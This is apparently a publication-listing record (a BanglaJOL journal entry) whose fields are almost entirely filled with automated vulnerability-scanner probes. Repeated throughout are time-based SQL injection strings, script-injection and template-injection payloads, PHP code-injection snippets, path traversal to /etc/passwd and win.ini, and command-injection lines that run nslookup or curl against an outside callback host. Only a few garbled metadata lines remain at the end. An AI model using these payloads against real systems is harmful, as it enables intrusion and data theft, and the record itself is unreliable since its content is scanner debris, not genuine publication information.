369=(SELECT 369 FROM PG_SLEEP(15))--, RDFYjolf, RDFYjolfGyhzOfDs')) OR 521=(SELECT 521 FROM PG_SLEEP(15))--, RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', RDFYjolf'", RDFYjolf����%2527%2522\'\", @@y1GET, RDFYjolf, RDFYjolf, 12345'"\'\");|]*{ <>�''💡, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, ${10000455+9999381}, response.write(9532624*9033258), '+response.write(9532624*9033258)+', http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg, "+response.write(9532624*9033258)+", 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg, b3N4UFROa0E=, Http://bxss.me/t/fit.txt, http://bxss.me/t/fit.txt?.jpg, /etc/shells, HttP://bxss.me/t/xss.html?%00, c:/windows/win.ini, bxss.me/t/xss.html?%00, bxss.me, 80405, ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))), 80405, 80405/., RDFYjolf, RDFYjolf, '", RDFYjolf, RDFYjolf9120880, bfg10607＜s1﹥s2ʺs3ʹhjl10607, bfgx3900��z1��z2a�bcxhjl3900, <%={{={@{#{${dfb}}%>, RDFYjolf, RDFYjolf, 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>, RDFYjolf, dfb{{98991*97996}}xca, dfb[[${98991*97996}]]xca, dfb__${98991*97996}__::.x, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, ), !(()&&!|*|*|, ^(#$!@#$)(()))******, %52%44%46%59%6A%6F%6C%66%3C%53%63%52%69%50%74%20%3E%32%33%6D%77%289673%29%3C%2F%73%43%72%69%70%54%3E, RDFYjolf\u003CScRiPt\23mw(9550)\u003C/sCripT\u003E, RDFYjolf&lt;ScRiPt&gt;23mw(9858)&lt;/sCripT&gt;, RDFYjolf, '.gethostbyname(lc('hitui'.'gaziueyi16e48.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(71).chr(113).chr(78).', ".gethostbyname(lc("hitog"."frkxjgql269ee.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(74).chr(112).chr(82).", RDFYjolf}body{zzz:Expre/**/SSion(23mw(9125))}, RDFYjolf, '"(), RDFYjolf'&&sleep(27*1000)*aoidfp&&', RDFYjolf"&&sleep(27*1000)*jcnxgj&&", RDFYjolf'||sleep(27*1000)*brpzgx||', RDFYjolf"||sleep(27*1000)*fowxbt||", RDFYjolf, ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));, RDFYjolf&n922279=v970574, ';print(md5(31337));$a=', RDFYjolf, ";print(md5(31337));$a=", RDFYjolf, ${@print(md5(31337))}, RDFYjolfFLDDOY2D, ${@print(md5(31337))}\, '.print(md5(31337)).', RDFYjolf, -1 OR 2+225-225-1=0+0+0+1 -- , 1hexU1Bu, -1 OR 2+749-749-1=0+0+0+1, -1' OR 2+248-248-1=0+0+0+1 -- , RDFYjolf, RDFYjolf, -1' OR 2+751-751-1=0+0+0+1 or '0dzsKCdT'=', /../../../../../../../../../../windows/system32/BITSADMIN.exe, -1" OR 2+789-789-1=0+0+0+1 -- , RDFYjolf, if(now()=sysdate(),sleep(15),0), RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, RDFYjolf, RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, RDFYjolf-1; waitfor delay '0:0:15' -- , RDFYjolf-1); waitfor delay '0:0:15' -- , RDFYjolf, RDFYjolf-1 waitfor delay '0:0:15' -- , RDFYjolf6ugHMgyz'; waitfor delay '0:0:15' -- , RDFYjolf3BYq6Niw'); waitfor delay '0:0:15' -- , RDFYjolfEgyK4LRu')); waitfor delay '0:0:15' -- , RDFYjolf, RDFYjolfpCYUAhSq' OR 195=(SELECT 195 FROM PG_SLEEP(15))--, RDFYjolf105vmwrB') OR 970=(SELECT 970 FROM PG_SLEEP(15))--, 12345'"\'\");|]*{ <>�''💡, RDFYjolf37Gg1Lz8')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--, ../../../../../../../../../../../../../../etc/passwd, RDFYjolf, RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', ../../../../../../../../../../../../../../windows/win.ini, echo vnybbq$()\ puqmpt\nz^xyu||a #' &echo vnybbq$()\ puqmpt\nz^xyu||a #|" &echo vnybbq$()\ puqmpt\nz^xyu||a #, RDFYjolf'", file:///etc/passwd, &echo wwjtxh$()\ rehbwo\nz^xyu||a #' &echo wwjtxh$()\ rehbwo\nz^xyu||a #|" &echo wwjtxh$()\ rehbwo\nz^xyu||a #, RDFYjolf����%2527%2522\'\", RDFYjolf, RDFYjolf&echo yopqtt$()\ lxfcxj\nz^xyu||a #' &echo yopqtt$()\ lxfcxj\nz^xyu||a #|" &echo yopqtt$()\ lxfcxj\nz^xyu||a #, @@GaeQB, RDFYjolf, |echo hugbiu$()\ xxhsvx\nz^xyu||a #' |echo hugbiu$()\ xxhsvx\nz^xyu||a #|" |echo hugbiu$()\ xxhsvx\nz^xyu||a #, ../RDFYjolf, RDFYjolf, RDFYjolf|echo bnpheg$()\ cbfzsm\nz^xyu||a #' |echo bnpheg$()\ cbfzsm\nz^xyu||a #|" |echo bnpheg$()\ cbfzsm\nz^xyu||a #, RDFYjolf, (nslookup -q=cname hitkbwyeglljwdfd0c.bxss.me||curl hitkbwyeglljwdfd0c.bxss.me)), RDFYjolf, $(nslookup -q=cname hitwevjytwbzle5603.bxss.me||curl hitwevjytwbzle5603.bxss.me), RDFYjolf, &nslookup -q=cname hitawwrvdrjawcc157.bxss.me&'\"`0&nslookup -q=cname hitawwrvdrjawcc157.bxss.me&`', RDFYjolf, |(nslookup -q=cname hitysrppholsv0cd3a.bxss.me||curl hitysrppholsv0cd3a.bxss.me), `(nslookup -q=cname hitakfgukuzbhebda5.bxss.me||curl hitakfgukuzbhebda5.bxss.me)`, ${10000435+9999025}, RDFYjolf, response.write(9688264*9720652), '+response.write(9688264*9720652)+', "+response.write(9688264*9720652)+", http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg, 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg, Http://bxss.me/t/fit.txt, http://bxss.me/t/fit.txt?.jpg, /etc/shells, c:/windows/win.ini, am5pdGxsazk=, bxss.me, HttP://bxss.me/t/xss.html?%00, bxss.me/t/xss.html?%00, RDFYjolf, RDFYjolf, RDFYjolf, ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))), 80405, xfs.bxss.me, 80405, 80405/., RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolfjqdKjH2E, RDFYjolf, -1 OR 2+799-799-1=0+0+0+1 -- , -1 OR 2+226-226-1=0+0+0+1, -1' OR 2+647-647-1=0+0+0+1 -- , -1' OR 2+520-520-1=0+0+0+1 or 'MqeuvCCa'=', -1" OR 2+363-363-1=0+0+0+1 -- , RDFYjolf, if(now()=sysdate(),sleep(15),0), RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, RDFYjolf, (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, ), !(()&&!|*|*|, RDFYjolf-1; waitfor delay '0:0:15' -- , RDFYjolf-1); waitfor delay '0:0:15' -- , ^(#$!@#$)(()))******, RDFYjolf, RDFYjolf-1 waitfor delay '0:0:15' -- , RDFYjolfKR00RfTP'; waitfor delay '0:0:15' -- , RDFYjolfqkuvbS69'); waitfor delay '0:0:15' -- , '"(), RDFYjolf5xuKNnvS')); waitfor delay '0:0:15' -- , RDFYjolf'&&sleep(27*1000)*auwhpj&&', RDFYjolfW3Uqos01' OR 459=(SELECT 459 FROM PG_SLEEP(15))--, RDFYjolf"&&sleep(27*1000)*otssrb&&", RDFYjolf4OZeE1cT') OR 857=(SELECT 857 FROM PG_SLEEP(15))--, RDFYjolf'||sleep(27*1000)*aqlykx||', RDFYjolfFu1gOqnd')) OR 797=(SELECT 797 FROM PG_SLEEP(15))--, RDFYjolf"||sleep(27*1000)*frpgtn||", RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', RDFYjolf'", RDFYjolf, '.gethostbyname(lc('hitnt'.'xjqexepb1b7cf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(75).chr(114).chr(88).', ".gethostbyname(lc("hitfz"."xiatcqvs26b7c.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(84).chr(103).chr(74).", RDFYjolf����%2527%2522\'\", @@vHq4d, RDFYjolf, RDFYjolf, RDFYjolf&n948988=v909437, RDFYjolf, ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));, RDFYjolf, ';print(md5(31337));$a=', ";print(md5(31337));$a=", ${@print(md5(31337))}, ${@print(md5(31337))}\, 3fZwWF7A, '.print(md5(31337)).', /../../../../../../../../../../windows/system32/BITSADMIN.exe, RDFYjolf, 12345'"\'\");|]*{ <>�''💡, RDFYjolf, ../../../../../../../../../../../../../../etc/passwd, echo xlifjy$()\ lnncyh\nz^xyu||a #' &echo xlifjy$()\ lnncyh\nz^xyu||a #|" &echo xlifjy$()\ lnncyh\nz^xyu||a #, ../../../../../../../../../../../../../../windows/win.ini, &echo uzegdn$()\ xqzblb\nz^xyu||a #' &echo uzegdn$()\ xqzblb\nz^xyu||a #|" &echo uzegdn$()\ xqzblb\nz^xyu||a #, file:///etc/passwd, RDFYjolf, RDFYjolf&echo odldcs$()\ oxsfhm\nz^xyu||a #' &echo odldcs$()\ oxsfhm\nz^xyu||a #|" &echo odldcs$()\ oxsfhm\nz^xyu||a #, RDFYjolf, ${9999771+10000383}, |echo ueyegi$()\ mgdvkd\nz^xyu||a #' |echo ueyegi$()\ mgdvkd\nz^xyu||a #|" |echo ueyegi$()\ mgdvkd\nz^xyu||a #, ../RDFYjolf, RDFYjolf|echo ytnobo$()\ lvzpgj\nz^xyu||a #' |echo ytnobo$()\ lvzpgj\nz^xyu||a #|" |echo ytnobo$()\ lvzpgj\nz^xyu||a #, RDFYjolf, (nslookup -q=cname hitoafqcfbwel748d6.bxss.me||curl hitoafqcfbwel748d6.bxss.me)), azNEWTk2eUI=, RDFYjolf, $(nslookup -q=cname hitfnewtixaiya69e1.bxss.me||curl hitfnewtixaiya69e1.bxss.me), RDFYjolf, &nslookup -q=cname hittnpfjisgtm07a59.bxss.me&'\"`0&nslookup -q=cname hittnpfjisgtm07a59.bxss.me&`', RDFYjolf, RDFYjolf, response.write(9055615*9731644), HttP://bxss.me/t/xss.html?%00, |(nslookup -q=cname hitnmyvufdlts523cf.bxss.me||curl hitnmyvufdlts523cf.bxss.me), http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg, bxss.me/t/xss.html?%00, '+response.write(9055615*9731644)+', `(nslookup -q=cname hitsqxolubryy97fca.bxss.me||curl hitsqxolubryy97fca.bxss.me)`, 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg, "+response.write(9055615*9731644)+", Http://bxss.me/t/fit.txt, http://bxss.me/t/fit.txt?.jpg, /etc/shells, RDFYjolf, c:/windows/win.ini, bxss.me, ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))), 80405, 80405, 80405/., xfs.bxss.me, RDFYjolf, RDFYjolf, RDFYjolf9900271, bfg8658＜s1﹥s2ʺs3ʹhjl8658, bfgx3104��z1��z2a�bcxhjl3104, <%={{={@{#{${dfb}}%>, RDFYjolf, RDFYjolf, 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>, RDFYjolf, dfb{{98991*97996}}xca, dfb[[${98991*97996}]]xca, RDFYjolf, dfb__${98991*97996}__::.x, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), %52%44%46%59%6A%6F%6C%66%3C%53%63%52%69%50%74%20%3E%66%43%62%61%289187%29%3C%2F%73%43%72%69%70%54%3E, RDFYjolf\u003CScRiPt\fCba(9487)\u003C/sCripT\u003E, RDFYjolf&lt;ScRiPt&gt;fCba(9269)&lt;/sCripT&gt;, RDFYjolf}body{zzz:Expre/**/SSion(fCba(9185))}, RDFYjolf, RDFYjolf, RDFYjolf9553926, bfg6568＜s1﹥s2ʺs3ʹhjl6568, bfgx5048��z1��z2a�bcxhjl5048, <%={{={@{#{${dfb}}%>, RDFYjolf, RDFYjolf, 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>, RDFYjolf, dfb{{98991*97996}}xca, dfb[[${98991*97996}]]xca, dfb__${98991*97996}__::.x, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), %52%44%46%59%6A%6F%6C%66%3C%53%63%52%69%50%74%20%3E%66%37%76%50%289515%29%3C%2F%73%43%72%69%70%54%3E, RDFYjolf\u003CScRiPt\f7vP(9113)\u003C/sCripT\u003E, RDFYjolf, RDFYjolf, RDFYjolf, xfs.bxss.me, xfs.bxss.me, RDFYjolf, RDFYjolf, '", '", RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf
Mr.
BanglaJOL, 1, 1967
Publication Type: Journal
, Publication Link